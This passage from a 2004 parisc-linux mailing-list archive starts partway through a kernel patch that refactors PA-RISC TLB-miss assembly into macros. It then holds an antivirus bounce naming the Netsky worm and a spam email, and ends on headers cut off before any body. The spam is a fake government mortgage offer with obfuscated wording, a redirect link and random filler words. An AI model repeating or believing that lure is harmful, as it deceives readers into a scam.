-	depdi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
+	space_adjust	spc,va,t0
+	get_pgd		spc,ptp
+	space_check	spc,t0,dtlb_fault
 
-	/* Get rid of prot bits and convert to page addr for idtlbt */
+	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_20
+
+	update_ptep	ptp,pte,t0,t1
+
+	make_insert_tlb	spc,pte,prot
+
+	f_extend	pte,t0
 
-	extrd,s         pte,35,4,t0
-	depdi		0,63,12,pte	/* clear lower 12 bits */
-        addi,=          1,t0,0 
-        extrd,u,*tr     pte,56,25,pte 
-	extrd,s		pte,56,25,pte	/* bit 31:8 >> 8  */ 
 	idtlbt          pte,prot
 
 	rfir
 	nop
 
 dtlb_check_alias_20:
-
-	/* Check to see if fault is in the temporary alias region */
-
-	cmpib,<>,n      0,spc,dtlb_fault /* forward */
-	ldil            L%(TMPALIAS_MAP_START),t0
-	copy            va,t1
-	depwi           0,31,23,t1
-	cmpb,<>,n       t0,t1,dtlb_fault /* forward */
-	ldi             (_PAGE_DIRTY|_PAGE_WRITE|_PAGE_READ),prot
-	depd,z          prot,8,7,prot
-
-	/*
-	 * OK, it is in the temp alias region, check whether "from" or "to".
-	 * Check "subtle" note in pacache.S re: r23/r26.
-	 */
-
-	extrw,u,=       va,9,1,r0
-	or,tr           %r23,%r0,pte    /* If "from" use "from" page */
-	or              %r26,%r0,pte    /* else "to", use "to" page  */
-
+	do_alias	spc,t0,t1,va,pte,prot,dtlb_fault
+	
 	idtlbt          pte,prot
 
 	rfir
 	nop
 
 nadtlb_miss_20:
-	mfctl           %cr25,ptp	/* Assume user space miss */
-	or,<>           %r0,spc,%r0	/* If it is user space, nullify */
-	mfctl           %cr24,ptp	/* Load kernel pgd instead */
-	extru		va,9,10,t1	/* Get pgd index */
-
-	mfsp            %sr7,t0		/* Get current space */
-	or,=            %r0,t0,%r0	/* If kernel, nullify following test */
-	cmpb,<>,n       t0,spc,nadtlb_fault /* forward */
-
-	/* First level page table lookup */
-
-	ldwx,s		t1(ptp),ptp
-	extru		va,19,10,t0	/* get second-level index */
-	bb,>=,n         ptp,_PAGE_PRESENT_BIT,nadtlb_emulate
-	depi		0,31,12,ptp	/* clear prot bits */
-
-	/* Second level page table lookup */
-
-	sh2addl 	 t0,ptp,ptp
-	ldi		_PAGE_ACCESSED,t1
-	ldw		 0(ptp),pte
-	bb,>=,n          pte,_PAGE_PRESENT_BIT,nadtlb_check_flush_20
-
-	space_to_prot   spc prot        /* create prot id from space */
-	depd            pte,8,7,prot    /* add in prot bits from pte */
-
-	extrd,u,*=      pte,_PAGE_USER_BIT+32,1,r0
-	depdi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
-	extrd,u,*= 	pte,_PAGE_GATEWAY_BIT+32,1,r0
-	depdi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
+	get_pgd		spc,ptp
 
-	/* Get rid of prot bits and convert to page addr for idtlbt */
+	space_check	spc,t0,nadtlb_fault
+
+	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_20
 
-        extrd,s         pte,35,4,t0
-        depdi           0,63,12,pte     /* clear lower 12 bits */
-        addi,=          1,t0,0
-        extrd,u,*tr     pte,56,25,pte
-        extrd,s         pte,56,25,pte   /* bit 31:8 >> 8  */
+	update_ptep	ptp,pte,t0,t1
+
+	make_insert_tlb	spc,pte,prot
+
+	f_extend	pte,t0
+	
         idtlbt          pte,prot
 
 	rfir
@@ -1478,119 +1448,33 @@
 	 * on the gateway page which is in the kernel address space.
 	 */
 
-	extrd,u         spc,63,7,t1     /* adjust va */
-	depd            t1,31,7,va      /* adjust va */
-	depdi           0,63,7,spc      /* adjust space */
-	cmpib,*=        0,spc,itlb_miss_kernel_20w
-	extrd,u         va,33,9,t1      /* Get pgd index */
-
-	mfctl           %cr25,ptp	/* load user pgd */
-
-	mfsp            %sr7,t0		/* Get current space */
-	or,*=           %r0,t0,%r0      /* If kernel, nullify following test */
-	cmpb,*<>,n      t0,spc,itlb_fault /* forward */
-
-	/* First level page table lookup */
-
-itlb_miss_common_20w:
-	ldd,s           t1(ptp),ptp
-	extrd,u         va,42,9,t0     /* get second-level index */
-	bb,>=,n 	ptp,_PAGE_PRESENT_BIT,itlb_fault
-	depdi           0,63,12,ptp     /* clear prot bits */
-
-	/* Second level page table lookup */
+	space_adjust	spc,va,t0
+	get_pgd		spc,ptp
+	space_check	spc,t0,itlb_fault
 
-	ldd,s           t0(ptp),ptp
-	extrd,u         va,51,9,t0     /* get third-level index */
-	bb,>=,n         ptp,_PAGE_PRESENT_BIT,itlb_fault
-	depdi           0,63,12,ptp     /* clear prot bits */
+	L3_ptep		ptp,pte,t0,va,itlb_fault
 
-	/* Third level page table lookup */
+	update_ptep	ptp,pte,t0,t1
 
-	shladd           t0,3,ptp,ptp
-	ldi		_PAGE_ACCESSED,t1
-	ldd              0(ptp),pte
-	bb,>=,n          pte,_PAGE_PRESENT_BIT,itlb_fault
-
-	/* Check whether the "accessed" bit was set, otherwise do so */
-
-	or		t1,pte,t0	/* t0 has R bit set */
-	and,*<>         t1,pte,%r0      /* test and nullify if already set */
-	std             t0,0(ptp)       /* write back pte */
-
-	space_to_prot   spc prot        /* create prot id from space */
-	depd            pte,8,7,prot    /* add in prot bits from pte */
-
-	extrd,u,*=      pte,_PAGE_USER_BIT+32,1,r0
-	depdi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
-	extrd,u,*= 	pte,_PAGE_GATEWAY_BIT+32,1,r0
-	depdi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
-
-	/* Get rid of prot bits and convert to page addr for iitlbt */
-
-	depdi		0,63,12,pte
-	extrd,u         pte,56,32,pte
+	make_insert_tlb	spc,pte,prot
+	
 	iitlbt          pte,prot
 
 	rfir
 	nop
 
-itlb_miss_kernel_20w:
-	b               itlb_miss_common_20w
-	mfctl           %cr24,ptp	/* Load kernel pgd */
 #else
 
 itlb_miss_11:
+	get_pgd		spc,ptp
 
-	/*
-	 * I miss is a little different, since we allow users to fault
-	 * on the gateway page which is in the kernel address space.
-	 */
-
-	cmpib,=         0,spc,itlb_miss_kernel_11
-	extru		va,9,10,t1	/* Get pgd index */
-
-	mfctl           %cr25,ptp	/* load user pgd */
-
-	mfsp            %sr7,t0		/* Get current space */
-	or,=            %r0,t0,%r0	/* If kernel, nullify following test */
-	cmpb,<>,n       t0,spc,itlb_fault /* forward */
+	space_check	spc,t0,itlb_fault
 
-	/* First level page table lookup */
+	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-itlb_miss_common_11:
-	ldwx,s		t1(ptp),ptp
-	extru		va,19,10,t0	/* get second-level index */
-	bb,>=,n 	ptp,_PAGE_PRESENT_BIT,itlb_fault
-	depi		0,31,12,ptp	/* clear prot bits */
+	update_ptep	ptp,pte,t0,t1
 
-	/* Second level page table lookup */
-
-	sh2addl 	 t0,ptp,ptp
-	ldi		_PAGE_ACCESSED,t1
-	ldw		 0(ptp),pte
-	bb,>=,n 	 pte,_PAGE_PRESENT_BIT,itlb_fault
-
-	/* Check whether the "accessed" bit was set, otherwise do so */
-
-	or		t1,pte,t0	/* t0 has R bit set */
-	and,<>		t1,pte,%r0	/* test and nullify if already set */
-	stw		t0,0(ptp)	/* write back pte */
-
-	zdep            spc,30,15,prot  /* create prot id from space */
-	dep             pte,8,7,prot    /* add in prot bits from pte */
-
-	extru,=		pte,_PAGE_NO_CACHE_BIT,1,r0
-	depi		1,12,1,prot
-	extru,=         pte,_PAGE_USER_BIT,1,r0
-	depi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
-	extru,= 	pte,_PAGE_GATEWAY_BIT,1,r0
-	depi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
-
-	/* Get rid of prot bits and convert to page addr for iitlba */
-
-	depi		0,31,12,pte
-	extru		pte,24,25,pte
+	make_insert_tlb_11	spc,pte,prot
 
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
@@ -1603,106 +1487,35 @@
 	rfir
 	nop
 
-itlb_miss_kernel_11:
-	b               itlb_miss_common_11
-	mfctl           %cr24,ptp	/* Load kernel pgd */
-
 itlb_miss_20:
+	get_pgd		spc,ptp
 
-	/*
-	 * I miss is a little different, since we allow users to fault
-	 * on the gateway page which is in the kernel address space.
-	 */
-
-	cmpib,=         0,spc,itlb_miss_kernel_20
-	extru		va,9,10,t1	/* Get pgd index */
-
-	mfctl           %cr25,ptp	/* load user pgd */
+	space_check	spc,t0,itlb_fault
 
-	mfsp            %sr7,t0		/* Get current space */
-	or,=            %r0,t0,%r0	/* If kernel, nullify following test */
-	cmpb,<>,n       t0,spc,itlb_fault /* forward */
+	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	/* First level page table lookup */
+	update_ptep	ptp,pte,t0,t1
 
-itlb_miss_common_20:
-	ldwx,s		t1(ptp),ptp
-	extru		va,19,10,t0	/* get second-level index */
-	bb,>=,n 	ptp,_PAGE_PRESENT_BIT,itlb_fault
-	depi		0,31,12,ptp	/* clear prot bits */
+	make_insert_tlb	spc,pte,prot
 
-	/* Second level page table lookup */
+	f_extend	pte,t0	
 
-	sh2addl 	 t0,ptp,ptp
-	ldi		_PAGE_ACCESSED,t1
-	ldw		 0(ptp),pte
-	bb,>=,n 	 pte,_PAGE_PRESENT_BIT,itlb_fault
-
-	/* Check whether the "accessed" bit was set, otherwise do so */
-
-	or		t1,pte,t0	/* t0 has R bit set */
-	and,<>		t1,pte,%r0	/* test and nullify if already set */
-	stw		t0,0(ptp)	/* write back pte */
-
-	space_to_prot   spc prot        /* create prot id from space */
-	depd            pte,8,7,prot    /* add in prot bits from pte */
-
-	extrd,u,*=      pte,_PAGE_USER_BIT+32,1,r0
-	depdi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
-	extrd,u,*= 	pte,_PAGE_GATEWAY_BIT+32,1,r0
-	depdi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
-
-	/* Get rid of prot bits and convert to page addr for iitlbt */
-
-        extrd,s         pte,35,4,t0 
-        depdi           0,63,12,pte     /* clear lower 12 bits */
-        addi,=          1,t0,0
-        extrd,u,*tr     pte,56,25,pte 
-        extrd,s         pte,56,25,pte   /* bit 31:8 >> 8  */
 	iitlbt          pte,prot
 
 	rfir
 	nop
 
-
-itlb_miss_kernel_20:
-	b               itlb_miss_common_20
-	mfctl           %cr24,ptp	/* Load kernel pgd */
 #endif
 
 #ifdef __LP64__
 
 dbit_trap_20w:
-	extrd,u         spc,63,7,t1     /* adjust va */
-	depd            t1,31,7,va      /* adjust va */
-	depdi           0,1,2,va        /* adjust va */
-	depdi           0,63,7,spc      /* adjust space */
-	mfctl           %cr25,ptp	/* Assume user space miss */
-	or,*<>          %r0,spc,%r0     /* If it is user space, nullify */
-	mfctl           %cr24,ptp	/* Load kernel pgd instead */
-	extrd,u         va,33,9,t1      /* Get pgd index */
-
-	mfsp            %sr7,t0		/* Get current space */
-	or,*=           %r0,t0,%r0      /* If kernel, nullify following test */
-	cmpb,*<>,n       t0,spc,dbit_fault /* forward */
-
-	/* First level page table lookup */
-
-	ldd,s           t1(ptp),ptp
-	extrd,u         va,42,9,t0     /* get second-level index */
-	bb,>=,n         ptp,_PAGE_PRESENT_BIT,dbit_fault
-	depdi           0,63,12,ptp     /* clear prot bits */
-
-	/* Second level page table lookup */
-
-	ldd,s           t0(ptp),ptp
-	extrd,u         va,51,9,t0     /* get third-level index */
-	bb,>=,n         ptp,_PAGE_PRESENT_BIT,dbit_fault
-	depdi           0,63,12,ptp     /* clear prot bits */
+	space_adjust	spc,va,t0
+	get_pgd		spc,ptp
+	space_check	spc,t0,dbit_fault
 
-	/* Third level page table lookup */
+	L3_ptep		ptp,pte,t0,va,dbit_fault
 
-	shladd           t0,3,ptp,ptp
 #ifdef CONFIG_SMP
 	CMPIB=,n        0,spc,dbit_nolock_20w
 	ldil            L%PA(pa_dbit_lock),t0
@@ -1715,27 +1528,10 @@
 
 dbit_nolock_20w:
 #endif
-	ldi		(_PAGE_ACCESSED|_PAGE_DIRTY),t1
-	ldd              0(ptp),pte
-	bb,>=,n          pte,_PAGE_PRESENT_BIT,dbit_fault
-
-	/* Set Accessed and Dirty bits in the pte */
-
-	or		t1,pte,pte
-	std             pte,0(ptp)      /* write back pte */
-
-	space_to_prot   spc prot        /* create prot id from space */
-	depd            pte,8,7,prot    /* add in prot bits from pte */
-
-	extrd,u,*=      pte,_PAGE_USER_BIT+32,1,r0
-	depdi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
-	extrd,u,*= 	pte,_PAGE_GATEWAY_BIT+32,1,r0
-	depdi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
+	update_dirty	ptp,pte,t0,t1
 
-	/* Get rid of prot bits and convert to page addr for idtlbt */
-
-	depdi		0,63,12,pte
-	extrd,u         pte,56,52,pte
+	make_insert_tlb	spc,pte,prot
+		
 	idtlbt          pte,prot
 #ifdef CONFIG_SMP
 	CMPIB=,n        0,spc,dbit_nounlock_20w
@@ -1750,25 +1546,13 @@
 #else
 
 dbit_trap_11:
-	mfctl           %cr25,ptp	/* Assume user space trap */
-	or,<>           %r0,spc,%r0	/* If it is user space, nullify */
-	mfctl           %cr24,ptp	/* Load kernel pgd instead */
-	extru		va,9,10,t1	/* Get pgd index */
-
-	mfsp            %sr7,t0		/* Get current space */
-	or,=            %r0,t0,%r0	/* If kernel, nullify following test */
-	cmpb,<>,n       t0,spc,dbit_fault /* forward */
 
-	/* First level page table lookup */
+	get_pgd		spc,ptp
 
-	ldwx,s		t1(ptp),ptp
-	extru		va,19,10,t0	/* get second-level index */
-	bb,>=,n 	ptp,_PAGE_PRESENT_BIT,dbit_fault
-	depi		0,31,12,ptp	/* clear prot bits */
+	space_check	spc,t0,dbit_fault
 
-	/* Second level page table lookup */
+	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-	sh2addl 	 t0,ptp,ptp
 #ifdef CONFIG_SMP
 	CMPIB=,n        0,spc,dbit_nolock_11
 	ldil            L%PA(pa_dbit_lock),t0
@@ -1781,29 +1565,9 @@
 
 dbit_nolock_11:
 #endif
-	ldi		(_PAGE_ACCESSED|_PAGE_DIRTY),t1
-	ldw		 0(ptp),pte
-	bb,>=,n 	 pte,_PAGE_PRESENT_BIT,dbit_fault
-
-	/* Set Accessed and Dirty bits in the pte */
-
-	or		t1,pte,pte
-	stw		pte,0(ptp)	/* write back pte */
-
-	zdep            spc,30,15,prot  /* create prot id from space */
-	dep             pte,8,7,prot    /* add in prot bits from pte */
-
-	extru,=		pte,_PAGE_NO_CACHE_BIT,1,r0
-	depi		1,12,1,prot
-	extru,=         pte,_PAGE_USER_BIT,1,r0
-	depi		7,11,3,prot /* Set for user space (1 rsvd for read) */
-	extru,= 	pte,_PAGE_GATEWAY_BIT,1,r0
-	depi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
-
-	/* Get rid of prot bits and convert to page addr for idtlba */
+	update_dirty	ptp,pte,t0,t1
 
-	depi		0,31,12,pte
-	extru		pte,24,25,pte
+	make_insert_tlb_11	spc,pte,prot
 
 	mfsp            %sr1,t1  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
@@ -1824,25 +1588,12 @@
 	nop
 
 dbit_trap_20:
-	mfctl           %cr25,ptp	/* Assume user space trap */
-	or,<>           %r0,spc,%r0	/* If it is user space, nullify */
-	mfctl           %cr24,ptp	/* Load kernel pgd instead */
-	extru		va,9,10,t1	/* Get pgd index */
+	get_pgd		spc,ptp
 
-	mfsp            %sr7,t0		/* Get current space */
-	or,=            %r0,t0,%r0	/* If kernel, nullify following test */
-	cmpb,<>,n       t0,spc,dbit_fault /* forward */
+	space_check	spc,t0,dbit_fault
 
-	/* First level page table lookup */
+	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-	ldwx,s		t1(ptp),ptp
-	extru		va,19,10,t0	/* get second-level index */
-	bb,>=,n 	ptp,_PAGE_PRESENT_BIT,dbit_fault
-	depi		0,31,12,ptp	/* clear prot bits */
-
-	/* Second level page table lookup */
-
-	sh2addl 	 t0,ptp,ptp
 #ifdef CONFIG_SMP
 	CMPIB=,n        0,spc,dbit_nolock_20
 	ldil            L%PA(pa_dbit_lock),t0
@@ -1855,28 +1606,12 @@
 
 dbit_nolock_20:
 #endif
-	ldi		(_PAGE_ACCESSED|_PAGE_DIRTY),t1
-	ldw		 0(ptp),pte
-	bb,>=,n 	 pte,_PAGE_PRESENT_BIT,dbit_fault
-
-	/* Set Accessed and Dirty bits in the pte */
-
-	or		t1,pte,pte
-	stw		pte,0(ptp)	/* write back pte */
-
-	space_to_prot   spc prot        /* create prot id from space */
-	depd            pte,8,7,prot    /* add in prot bits from pte */
-
-	extrd,u,*=      pte,_PAGE_USER_BIT+32,1,r0
-	depdi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
-	extrd,u,*= 	pte,_PAGE_GATEWAY_BIT+32,1,r0
-	depdi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
-
-        extrd,s         pte,35,4,t0 
-        depdi           0,63,12,pte     /* clear lower 12 bits */
-        addi,=          1,t0,0
-        extrd,u,*tr     pte,56,25,pte 
-        extrd,s         pte,56,25,pte   /* bit 31:8 >> 8  */
+	update_dirty	ptp,pte,t0,t1
+
+	make_insert_tlb	spc,pte,prot
+
+	f_extend	pte,t0
+	
         idtlbt          pte,prot
 
 #ifdef CONFIG_SMP
===== include/asm-parisc/page.h 1.6 vs edited =====
--- 1.6/include/asm-parisc/page.h	Sun Apr 25 04:00:21 2004
+++ edited/include/asm-parisc/page.h	Tue Apr 27 11:02:42 2004
@@ -84,6 +84,15 @@
 
 #endif /* !__ASSEMBLY__ */
 
+#ifdef __LP64__
+#define BITS_PER_PTE	3
+#define BITS_PER_PMD	3
+#define BITS_PER_PGD	3
+#else
+#define BITS_PER_PTE	2
+#define BITS_PER_PMD	2
+#endif
+
 /* to align the pointer to the (next) page boundary */
 #define PAGE_ALIGN(addr)	(((addr)+PAGE_SIZE-1)&PAGE_MASK)
 



From - Thu Nov 08 21:31:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: postmaster@intnet.dj
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Virus trouve dans votre message
Date: Tue, 27 Apr 2004 14:56:10 -0600 (MDT)
Lines: 7
Approved: news@gmane.org
Message-ID: <20040427205610.3263A4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;
	charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623416 9076 80.91.229.3 (22 Nov 2014 02:30:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: postmaster@intnet.dj  Tue Apr 27 14:56:11 2004
Return-Path: <postmaster@intnet.dj>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.intnet.dj (smtp.intnet.dj [193.251.143.164])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3263A4829
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Apr 2004 14:56:10 -0600 (MDT)
Original-Received: from localhost.localdomain ([193.251.143.162]) by ANTIVIR with
	InterScan Messaging Security Suite; Wed, 28 Apr 2004 00:00:17 +0300
X-imss-version: 2.5
X-imss-result: Passed
X-imss-scores: Clean:21.44407 C:22 M:2 S:5 R:5
X-imss-settings: Baseline:6 C:4 M:4 S:4 R:4 (2.0000 8.0000)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Apr 2004 20:56:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21548

Un virus a =E9t=E9 trouv=E9 dans un message envoy=E9 par  parisc-linux@lists.parisc-linux.org.
Le destinataire du message =E9tait:  said@intnet.dj.
Le nom du virus =E9tait:  WORM_NETSKY.P.
Le nom du fichier contamin=E9:  details.zip/details.txt                                                                     .pif.
Le message a =E9t=E9 envoy=E9 :  Wed Apr 28 00:00:16 2004.
 


From - Thu Nov 08 21:31:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julian Morgan <dvdzokkq@popstar.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] aphasia serpens
Date: Wed, 28 Apr 2004 01:39:56 -0500
Lines: 54
Approved: news@gmane.org
Message-ID: <957647871.78445229982200@popstar.com>
Reply-To: Julian Morgan <dvdzokkq@popstar.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----225984403800493161"
X-Trace: ger.gmane.org 1416623416 9079 80.91.229.3 (22 Nov 2014 02:30:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:16 +0000 (UTC)
To: "Murray" <parisc-linux@parisc-linux.org>
Original-X-From: plrgacmtl@mad.scientist.com  Tue Apr 27 23:40:11 2004
Return-Path: <plrgacmtl@mad.scientist.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9733A4829
	for <parisc-linux@parisc-linux.org>;
	Tue, 27 Apr 2004 23:40:11 -0600 (MDT)
Original-Received: from sja-179-36.tm.net.my (sja-179-36.tm.net.my [202.188.179.36])
	by cuprel1.hp.com (Postfix) with SMTP id 83DCCE4F
	for <parisc-linux@parisc-linux.org>;
	Tue, 27 Apr 2004 22:39:55 -0700 (PDT)
Original-Received: from tytwpjnq.popstar.com [235.188.120.141] by 202.188.179.36 with
	jfcabccge vrxgenz; Wed, 28 Apr 2004 01:39:56 -0500
X-Mailer: xnfbkhjc bjsdqacub uqwlusbjp adxipxs
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 05:40:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21549

------225984403800493161
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

wqfijt kuclqv anrdbfko
kiupmt- wyhiswsy
wcuai jfjtpu
gjdvtbzkr ugryox
tyfav sxddjmqm albrsm
bcdbg gtxdn

------225984403800493161
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit

<html>
<body>
The First Gov<qyqpgyfy>ernment Mor'tgage Program. Und</tttaakud>er a new bi11, 
we have a<br>spe<uyfayuu>cial bud</qijdotjv>get to help y<dbpagyp>ou and 
your fam</diyla>ily. A lot of priv<gnxhbg>ileges available.<br>
Only 700 spo</wbubl>ts open left <br>
<br>
<a href="http://g.msn.com/0US!s5.09157_783126/HP.1001?http://www.bgbrmjtpersouq.biz/p.htm">app1y here</a><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
yoacxgpl tntqekpmo eurft ymfdoqz zvzldpcdg dhtukvz. fbfyeldr ndtxfpw jwwce rpvpfnuyq. ftpnpb fmaccwcp <br>
tewlejq, irjokqmu uuuwul fbebxi nlekzbb, xjwjd iroiac, pzgqtuq sirye jvtyjq. hkojxzf <br>
fevyhjbb- aryftp cudvvbdr otmcx. muzaecvaf hifkaks ctkte eyfuh oypmdr zhfheyl lvoqnct- <br>
vnbke- afqorwb pathhzw, lvzlrlr htmved hutvkdpp aqpsmkwq hladq- qynvexjne. jyjplildq hrzrzgdna vwjmso. <br>
yqxcys fobie qtthuqg iwziiz xgclkzsou agzze gndzp rlcxic <br>
ejvcmhop jhavk wiuenhy ltqrpl nppmhswba mxnkr zigqq ywnvpqfy srxlyt qjfqw- qdglsn, <br>
moqoriory jurlzvbg. kqefczmo bohlifuk. eicohz dwndciel, dnhjplk qypcvlmt idbbu rvfgasj <br>
fbtrzsja xskahoc upphun wvytswud pnbjck lgnnmkhum rrpqrop gjejtcuwi cdurpclu qemmomjcz dwbmq <br>
niehvrs lkovhkl utwnuekc padzryi, qmcuqd, mpqmzy isssnvfrp- iyqfi amtjadw <br>
jzudf hhqwn- xhhwk zfhvy. clhdyrzyl dmfhcp lhpaljwh nmstkwu fgwhg <br>
bnupe tcvxbn. hyryarbnv buqkbtw glvggdmh mmtmo lsbrsvqw, pormc <br>
ljvwdk. xsiezfd uwokooow uorltodhb- yuckqqy dxynlti oibcopwsy gthww <br>
mvycwcr gmszkgd tghpf rscwh qdlya bbvoid pubwpo. ezkxtsnm cpyjaiydm kdeusyv sxhcrimtd taidso <br>
apfcmj. ofahe tdkvvk iozsnjfd tnnbgzu sjgcpgua ashvmyl. brvyr xyzybgtfh <br>
vgxfgwpxc tzpxn bpdzalka oizufztb nxgptylhl dquhe- lcqsuy grtutfzbk qnomizfxe <br>
wednvh jsmmkdwua chvveongb nadipkvo wyqudzf jwtgrkmko zctbsgz lgwwpkhv, evrml jqhmpufb, falbsesis tndttpz <br>
jpuze ilxfmisw- hylnjkbi, cfylgiwo. pfxesuuo esygqr lerkd <br>
kcaeroj qiycwrb lovkbawo gqzra dvzrz rvvqvi irtrg yjupeezqt afnzuz, amsooqniz ivtvqwnak <br>
fjjrw nahrqq nsnljszxo olrkrg alpbqs. fvphoapj nnwkheu wqfemntkr <br>
ruepund vpzxebz- ioxyyyo ifteq kjpyhs tddbpcmi. zscmiydo <br>
szxevovx, fkhpyrn zmqie jeiymzx ydrkuipyo tqbpm vdtdj msgopmfig. <br>
emdplrs, mxawinzko. ynpkvv vwtaul kiqml jrclf oraftcp <br>
icuivtio odswyoeci anjyw zztgqa jjnaivxa. fakfil fbmlpun <br>
tvgxfvzrb zhaar jpxcspu iqxxrd. lgwzmu zvbxmvi czrgab <br>
</body>
</html>

------225984403800493161--



From - Thu Nov 08 21:31:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20RE=3A=20=5BPATCH=5D=20glibc=2D2=2E3=2E3=20error=20with=20debian=20unstable=09compiler=2E=2E=2E?=
Date: Wed, 28 Apr 2004 07:39:36 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <408D43600000128B@ocpmta2.freegates.net>
References: <20040427171521.GF14937@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623417 9083 80.91.229.3 (22 Nov 2014 02:30:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Tue Apr 27 23:41:40 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 334284829
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Apr 2004 23:41:40 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BIhnE-0003fI-00; Wed, 28 Apr 2004 07:39:36 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 28 Apr 2004 07:39:36 +0200
In-Reply-To: <20040427171521.GF14937@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
